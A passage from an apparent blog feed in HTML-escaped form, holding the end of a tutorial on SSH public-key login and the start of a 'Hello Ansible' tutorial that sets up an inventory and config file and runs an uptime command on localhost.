&lt;h3 id=&quot;test-ssh&quot;&gt;Test SSH &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#test-ssh&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Normally, you would say user@host, such as tero@example.com. Here, we can leave out username, as it&#39;s the same on both machines.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &#39;w&#39;, you can see yourself logged in twice: once on the desktop, once trough ssh.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;remote$ exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;automatic-login-with-ssh-public-key&quot;&gt;Automatic login with SSH public key &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#automatic-login-with-ssh-public-key&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Generate a keypair&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh-keygen	&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; enter enter enter to accept the defaults&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you already have a keypair, don&#39;t overwrite it. The public key ($HOME/.ssh/id_*.pub) is literally public, you can use the same public key in all hosts. The public key ends with &quot;.pub&quot;.&lt;/p&gt;
&lt;p&gt;If you need the public key for VPS (virtual private server) provider, you can see and copy-paste your keys with &#39;head $HOME/.ssh/id*.pub&#39;.&lt;/p&gt;
&lt;p&gt;Copy it to hosts where you can already log in.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh-copy-id&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you&#39;ve entered your password for the last time, ssh-copy-id adds your public key into .ssh/authorized_keys on the remote machine. Now your key is authorized for logins.&lt;/p&gt;
&lt;p&gt;Your public key is used automatically&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did you log in without giving your password?&lt;/p&gt;
&lt;p&gt;Well done, you&#39;ve now automated login with SSH public keys.&lt;/p&gt;
&lt;h2 id=&quot;troubleshooting&quot;&gt;Troubleshooting &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#troubleshooting&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here are some helpfull troubleshooting commands.&lt;/p&gt;
&lt;p&gt;Client side:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;v&lt;/span&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server side:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; journalctl&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;follow&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; systemctl status ssh&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>

  <entry>
    <title>Hello Ansible</title>
    <link href="https://terokarvinen.com/hello-ansible/"/>
    <id>https://terokarvinen.com/hello-ansible/</id>
    <published>2026-03-26T14:39:00+02:00</published>
    <updated>2026-03-26T14:39:00+02:00</updated>
    <content type="html">&lt;p&gt;Write infrastructure-as-code, control multiple machines easily.&lt;/p&gt;
&lt;p&gt;In this Ansible tutorial, we create a single file in /tmp/.&lt;/p&gt;
&lt;p&gt;In this whole tutorial, we&#39;ll create only &lt;a href=&quot;https://terokarvinen.com/hello-ansible/#endresult&quot;&gt;4 folders and 4 short files&lt;/a&gt;. But I&#39;ll show you how to build it step by step, so you can understand and adapt the process.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#background&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ansible is a configuration management tool. You write your infrastructure as code (IaC). You describe the end state, and ansible only makes changes if they are needed.&lt;/p&gt;
&lt;p&gt;Ansible works trough SSH. Thus, the slave computers only need SSH daemon and Python installed.&lt;/p&gt;
&lt;p&gt;This tutorial is tested with Debian 13-Trixie. You can probably adapt it to other Linuxes, like Kali or Ubuntu. We&#39;ll use ssh daemon on the same host for testing, so the master and the slave are the same computer here.&lt;/p&gt;
&lt;h2 id=&quot;test-ssh-account-without-ansible&quot;&gt;Test SSH account (without Ansible) &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#test-ssh-account-without-ansible&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ansible works trough SSH. Let&#39;s first test that we can use SSH without Ansbile.&lt;/p&gt;
&lt;p&gt;It&#39;s advertised as &quot;agentless&quot;, and indeed there is no slave daemon for ansible. It still needs SSH daemon and Python on slave machine. Ansible (the command) is only needed on master side. Master computer is also known as &quot;controller&quot; in Ansible lingo.&lt;/p&gt;
&lt;p&gt;It&#39;s a good idea to set up passwordless SSH authentication for the account used with ansible. Check out Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/&quot;&gt;SSH public key - Login without password&lt;/a&gt;.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;remote$ exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;install-ansible&quot;&gt;Install Ansible &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#install-ansible&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ansible is convenintly in Debian repositories.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get update&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get install ansible micro bash-completion tree&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only ansible is really needed. Extras make it easier to work:
- micro (text editor)
- bash-completion (tab fills current word)
- tree (show a tree of files and folders)&lt;/p&gt;
&lt;h2 id=&quot;test-ssh-with-ansible&quot;&gt;Test SSH with Ansible &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#test-ssh-with-ansible&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&#39;s make a folder for our Ansible configuration.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible/&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible/&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&#39;s write a list of hosts we&#39;ll be controlling. Create &quot;hosts.ini&quot;, and add &quot;localhost&quot; there.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Later, we can add more hosts. One line per host. The hosts can be grouped, so we can have hosts in &quot;web&quot; category and five in &quot;db&quot;.&lt;/p&gt;
&lt;p&gt;Now we can make Ansible run a command on all hosts.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-single hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i&lt;/span&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost | CHANGED | rc=0 &amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt; 15:24:39 up 14 days, 20:36,  2 users,  load average: 0.55, 0.44, 0.47&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&#39;re just testing ansible here. If we just wanted to run command on remote machine, we could have &#39;ssh localhost &quot;uptime&quot;&#39;.&lt;/p&gt;
&lt;p&gt;Did you see the uptime? Great, Ansible can now use SSH to one host.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;pythonversion&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;convenience-stop-whining-about-python-version&quot;&gt;Convenience: Stop whining about Python version &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#convenience-stop-whining-about-python-version&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Why does Ansible have to whine about Python version? Oh, it could change - who could have guessed...&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-single hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i&lt;/span&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;[WARNING]: Host &amp;#39;localhost&amp;#39; is using the discovered Python interpreter at &amp;#39;/usr/bin/python3.13&amp;#39;, but future installation of another Python interpreter could cause a different interpreter to be discovered. See https://docs.ansible.com/ansible-core/2.19/reference_appendices/interpreter_discovery.html for more information.&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost | CHANGED | rc=0 &amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt; 15:29:24 up 14 days, 20:41,  2 users,  load average: 0.27, 0.29, 0.39&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&#39;s tell it to use the obvious Python command. We can add variables to host groups in inventory. This one we&#39;ll add to all.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;[all:vars]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;ansible_python_interpreter=/usr/bin/python3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So our only host &quot;localhost&quot; at the top, and variables for all hosts at the bottom.&lt;/p&gt;
&lt;p&gt;Let&#39;s try again:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ansible$ ansible all -a &amp;#39;uptime&amp;#39; -i hosts.ini
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
 15:31:18 up 14 days, 20:43,  2 users,  load average: 0.18, 0.27, 0.37
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see that the Python version warning is gone.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;autoinventory&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;convenience-just-use-my-hosts-ini&quot;&gt;&lt;span id=&quot;convenience-just-use-my-hostsini&quot;&gt;&lt;/span&gt;Convenience: Just use my hosts.ini &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#convenience-just-use-my-hosts-ini&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Don&#39;t want to write &quot;-i hosts.ini&quot; for each &#39;ansible&#39; and &#39;ansible-playbook&#39; command?&lt;/p&gt;
&lt;p&gt;You can add hosts.ini to ansible.cfg, so you don&#39;t need to add it to each command line.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible.cfg&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible.cfg&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;[defaults]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;inventory = hosts.ini&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we don&#39;t need to add &quot;-i hosts.ini&quot; to every &#39;ansible&#39; and &#39;ansbile-playbook&#39; commands.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;localhost | CHANGED | rc=0 &amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt; 15:22:18 up 14 days, 20:34,  2 users,  load average: 0.35, 0.37, 0.46&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;site-yml-what-computers-get-which-roles&quot;&gt;&lt;span id=&quot;siteyml---what-computers-get-which-roles&quot;&gt;&lt;/span&gt;Site.yml - what computers get which roles &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#site-yml-what-computers-get-which-roles&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Site.yml lists wich groups of computers get which configuration (roles).&lt;/p&gt;
&lt;p&gt;We want all computers to get the role &quot;hello&quot;. We have not written the role yet.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;- hosts: all&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  roles:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    - hello&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&#39;s run our new playbook, site.yml&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;[ERROR]: the role &amp;#39;hello&amp;#39; was not found in /home/tero/code/terokarvinen-com/ansible/roles/:... 	&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;Origin: /home/tero/code/terokarvinen-com/ansible/site.yml:3:7&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;1 - hosts: all&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;2   roles:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;3     - hello&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;        ^ column 7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Great, an error message! Most error messages bring us two letters: good news and bad news.&lt;/p&gt;
&lt;ul&gt;
